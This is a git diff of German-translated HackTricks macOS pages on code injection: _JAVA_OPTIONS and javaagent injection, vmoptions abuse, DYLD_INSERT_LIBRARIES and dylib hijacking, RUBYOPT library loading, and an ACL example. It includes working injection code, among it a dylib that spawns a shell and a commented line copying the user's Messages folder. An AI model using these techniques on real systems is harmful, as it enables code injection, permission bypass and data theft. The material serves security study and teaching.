{% endhint %}

View file

@ -1,22 +1,23 @@
# macOS Java-Anwendungen Injektion
# macOS Java-Anwendungen Injection
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}
## Enumeration
Finden Sie Java-Anwendungen, die in Ihrem System installiert sind. Es wurde festgestellt, dass Java-Apps in der **Info.plist** einige Java-Parameter enthalten, die den String **`java.`** enthalten. Sie können also danach suchen:
Finde Java-Anwendungen, die auf deinem System installiert sind. Es wurde festgestellt, dass Java-Apps in der **Info.plist** einige Java-Parameter enthalten, die den String **`java.`** enthalten, also kannst du danach suchen:
```bash
# Search only in /Applications folder
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
@ -26,7 +27,7 @@ sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
```
## \_JAVA\_OPTIONS
Die Umgebungsvariable **`_JAVA_OPTIONS`** kann verwendet werden, um beliebige Java-Parameter in der Ausführung einer Java-kompilierten App einzufügen:
Die Umgebungsvariable **`_JAVA_OPTIONS`** kann verwendet werden, um beliebige Java-Parameter in die Ausführung einer Java-kompilierten Anwendung einzufügen:
```bash
# Write your payload in a script called /tmp/payload.sh
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
@ -85,7 +86,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary
return 0;
}
```
Jedoch wird dadurch ein Fehler in der ausgeführten App ausgelöst. Eine noch unauffälligere Methode besteht darin, einen Java-Agenten zu erstellen und folgendes zu verwenden:
Allerdings führt dies zu einem Fehler in der ausgeführten App. Eine stealthier Methode besteht darin, einen Java-Agenten zu erstellen und Folgendes zu verwenden:
```bash
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
@ -95,7 +96,7 @@ export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
```
{% hint style="danger" %}
Das Erstellen des Agenten mit einer **anderen Java-Version** als die Anwendung kann sowohl den Agenten als auch die Anwendung zum Absturz bringen.
Die Erstellung des Agents mit einer **anderen Java-Version** als der Anwendung kann die Ausführung sowohl des Agents als auch der Anwendung zum Absturz bringen.
{% endhint %}
Wo der Agent sein kann:
@ -119,7 +120,7 @@ err.printStackTrace();
```
{% endcode %}
Um den Agenten zu kompilieren, führen Sie Folgendes aus:
Um den Agenten zu kompilieren, führen Sie aus:
```bash
javac Agent.java # Create Agent.class
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar
@ -131,7 +132,7 @@ Agent-Class: Agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true
```
Und dann exportieren Sie die Umgebungsvariable und führen Sie die Java-Anwendung wie folgt aus:
Und dann exportiere die Umgebungsvariable und führe die Java-Anwendung aus wie:
```bash
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
@ -142,12 +143,12 @@ open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Profession
```
## vmoptions-Datei
Diese Datei unterstützt die Spezifikation von **Java-Parametern**, wenn Java ausgeführt wird. Sie können einige der zuvor genannten Tricks verwenden, um die Java-Parameter zu ändern und den Prozess dazu zu bringen, beliebige Befehle auszuführen.\
Darüber hinaus kann diese Datei auch **andere Dateien einschließen** mit dem `include`-Verzeichnis, sodass Sie auch eine eingeschlossene Datei ändern können.
Diese Datei unterstützt die Spezifikation von **Java-Parametern**, wenn Java ausgeführt wird. Sie könnten einige der vorherigen Tricks verwenden, um die Java-Parameter zu ändern und **den Prozess beliebige Befehle ausführen zu lassen**.\
Darüber hinaus kann diese Datei auch **andere** mit dem `include`-Verzeichnis einfügen, sodass Sie auch eine eingeschlossene Datei ändern könnten.
Darüber hinaus laden einige Java-Anwendungen **mehr als eine `vmoptions`-Datei**.
Noch mehr, einige Java-Anwendungen werden **mehr als eine `vmoptions`**-Datei laden.
Einige Anwendungen wie Android Studio geben in ihrer **Ausgabe an, wo sie nach diesen Dateien suchen**, zum Beispiel:
Einige Anwendungen wie Android Studio geben in ihrer **Ausgabe an, wo sie nach diesen Dateien suchen**, wie:
```bash
/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
@ -158,7 +159,7 @@ Einige Anwendungen wie Android Studio geben in ihrer **Ausgabe an, wo sie nach d
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
```
Wenn sie es nicht tun, können Sie es leicht überprüfen mit:
Wenn sie das nicht tun, können Sie es einfach mit folgendem überprüfen:
```bash
# Monitor
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
@ -166,18 +167,19 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
# Launch the Java app
/Applications/Android\ Studio.app/Contents/MacOS/studio
```
Beachten Sie, wie interessant es ist, dass Android Studio in diesem Beispiel versucht, die Datei **`/Applications/Android Studio.app.vmoptions`** zu laden, ein Ort, an dem jeder Benutzer aus der **`admin` Gruppe Schreibzugriff hat**.
Beachten Sie, wie interessant es ist, dass Android Studio in diesem Beispiel versucht, die Datei **`/Applications/Android Studio.app.vmoptions`** zu laden, ein Ort, an dem jeder Benutzer der **`admin`-Gruppe Schreibzugriff hat.**
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie das Hacken von AWS von Null bis zum Experten mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
## DYLD\_INSERT\_LIBRARIES Grundlegendes Beispiel
## DYLD\_INSERT\_LIBRARIES Grundbeispiel
**Bibliothek zum Injizieren**, um eine Shell auszuführen:
```c
@ -34,7 +35,7 @@ execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
```
Angriffsziel-Binärdatei:
Binärdatei zum Angreifen:
```c
// gcc hello.c -o hello
#include <stdio.h>
@ -49,12 +50,12 @@ Injektion:
```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```
## Beispiel für Dyld-Hijacking
## Dyld Hijacking Beispiel
Die anvisierte verwundbare Binärdatei ist `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
Die angreifbare Binärdatei ist `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
{% tabs %}
{% tab title="Berechtigungen" %}
{% tab title="Entitlements" %}
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>[...]com.apple.security.cs.disable-library-validation[...]
</strong></code></pre>
@ -91,12 +92,12 @@ compatibility version 1.0.0
{% endtab %}
{% endtabs %}
Mit den vorherigen Informationen wissen wir, dass es **die Signatur der geladenen Bibliotheken nicht überprüft** und versucht, eine Bibliothek von folgenden Orten zu laden:
Mit den vorherigen Informationen wissen wir, dass **es die Signatur der geladenen Bibliotheken nicht überprüft** und **versucht, eine Bibliothek von**:
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
Jedoch existiert die erste nicht:
zu laden. Die erste existiert jedoch nicht:
```bash
pwd
/Applications/VulnDyld.app
@ -104,7 +105,7 @@ pwd
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
So ist es möglich, es zu kapern! Erstellen Sie eine Bibliothek, die **beliebigen Code ausführt und die gleichen Funktionen** wie die legitime Bibliothek exportiert, indem sie sie erneut exportiert. Und denken Sie daran, sie mit den erwarteten Versionen zu kompilieren:
So, es ist möglich, es zu übernehmen! Erstellen Sie eine Bibliothek, die **beliebigen Code ausführt und die gleichen Funktionen** wie die legitime Bibliothek durch Reexportierung bereitstellt. Und denken Sie daran, sie mit den erwarteten Versionen zu kompilieren:
{% code title="lib.m" %}
```objectivec
@ -117,7 +118,7 @@ NSLog(@"[+] dylib hijacked in %s", argv[0]);
```
{% endcode %}
Kompilieren Sie es:
Kompiliere es:
{% code overflow="wrap" %}
```bash
@ -126,7 +127,7 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found
```
{% endcode %}
Der im Bibliothek erstellte Reexport-Pfad ist relativ zum Loader. Ändern wir ihn in einen absoluten Pfad zur zu exportierenden Bibliothek:
Der im Bibliothek erstellte Reexport-Pfad ist relativ zum Loader, lassen Sie uns ihn in einen absoluten Pfad zur Bibliothek ändern, um ihn zu exportieren:
{% code overflow="wrap" %}
```bash
@ -147,7 +148,7 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con
```
{% endcode %}
Schließlich kopieren Sie es einfach an den **gekaperten Speicherort**:
Kopiere es schließlich einfach an den **gehijackten Ort**:
{% code overflow="wrap" %}
```bash
@ -158,30 +159,31 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
Und **führen** Sie die Binärdatei aus und überprüfen Sie, ob die **Bibliothek geladen wurde**:
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib wurde in /Applications/VulnDyld.app/Contents/Resources/lib/binary gehijackt
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
</strong>Verwendung: [...]
</code></pre>
{% hint style="info" %}
Ein guter Artikel darüber, wie man diese Schwachstelle ausnutzt, um die Kameraberechtigungen von Telegram zu missbrauchen, finden Sie unter [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
Ein schöner Bericht darüber, wie man diese Schwachstelle ausnutzen kann, um die Kameraberechtigungen von Telegram zu missbrauchen, ist zu finden unter [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
{% endhint %}
## Größeres Ausmaß
## Größere Skala
Wenn Sie planen, Bibliotheken in unerwartete Binärdateien einzufügen, können Sie die Ereignisnachrichten überprüfen, um herauszufinden, wann die Bibliothek in einem Prozess geladen wird (in diesem Fall entfernen Sie das printf und die Ausführung von `/bin/bash`).
Wenn Sie planen, Bibliotheken in unerwartete Binärdateien zu injizieren, könnten Sie die Ereignismeldungen überprüfen, um herauszufinden, wann die Bibliothek innerhalb eines Prozesses geladen wird (in diesem Fall entfernen Sie das printf und die Ausführung von `/bin/bash`).
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# macOS Ruby-Anwendungen Injektion
# macOS Ruby Applications Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## RUBYOPT
Mit dieser Umgebungsvariable ist es möglich, **neue Parameter** zu **Ruby** hinzuzufügen, wann immer es ausgeführt wird. Obwohl der Parameter **`-e`** nicht verwendet werden kann, um Ruby-Code zum Ausführen anzugeben, ist es möglich, die Parameter **`-I`** und **`-r`** zu verwenden, um einen neuen Ordner zum Bibliothekenladepfad hinzuzufügen und dann **eine Bibliothek zum Laden anzugeben**.
Mit dieser Umgebungsvariable ist es möglich, **neue Parameter** zu **ruby** hinzuzufügen, wann immer es ausgeführt wird. Obwohl der Parameter **`-e`** nicht verwendet werden kann, um Ruby-Code anzugeben, der ausgeführt werden soll, ist es möglich, die Parameter **`-I`** und **`-r`** zu verwenden, um einen neuen Ordner zum Bibliotheksladepfad hinzuzufügen und dann **eine Bibliothek zum Laden anzugeben**.
Erstellen Sie die Bibliothek **`inject.rb`** in **`/tmp`**:
@ -26,7 +27,7 @@ puts `whoami`
```
{% endcode %}
Erstellen Sie überall ein Ruby-Skript wie:
Erstellen Sie irgendwo ein Ruby-Skript wie:
{% code title="hello.rb" %}
```ruby
@ -34,24 +35,25 @@ puts 'Hello, World!'
```
{% endcode %}
Dann erstellen Sie ein beliebiges Ruby-Skript und laden Sie es mit folgendem Befehl:
Dann lassen Sie ein beliebiges Ruby-Skript es mit:
```bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb
```
Spaßiger Fakt, es funktioniert sogar mit dem Parameter **`--disable-rubyopt`**:
Fun Fact, es funktioniert sogar mit dem Parameter **`--disable-rubyopt`**:
```bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
```
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,24 +1,30 @@
# macOS xattr-acls extra stuff
# macOS xattr-acls zusätzliche Informationen
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
{% endhint %}
```bash
rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
./get_acls test
ACL for test:
!#acl 1
group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
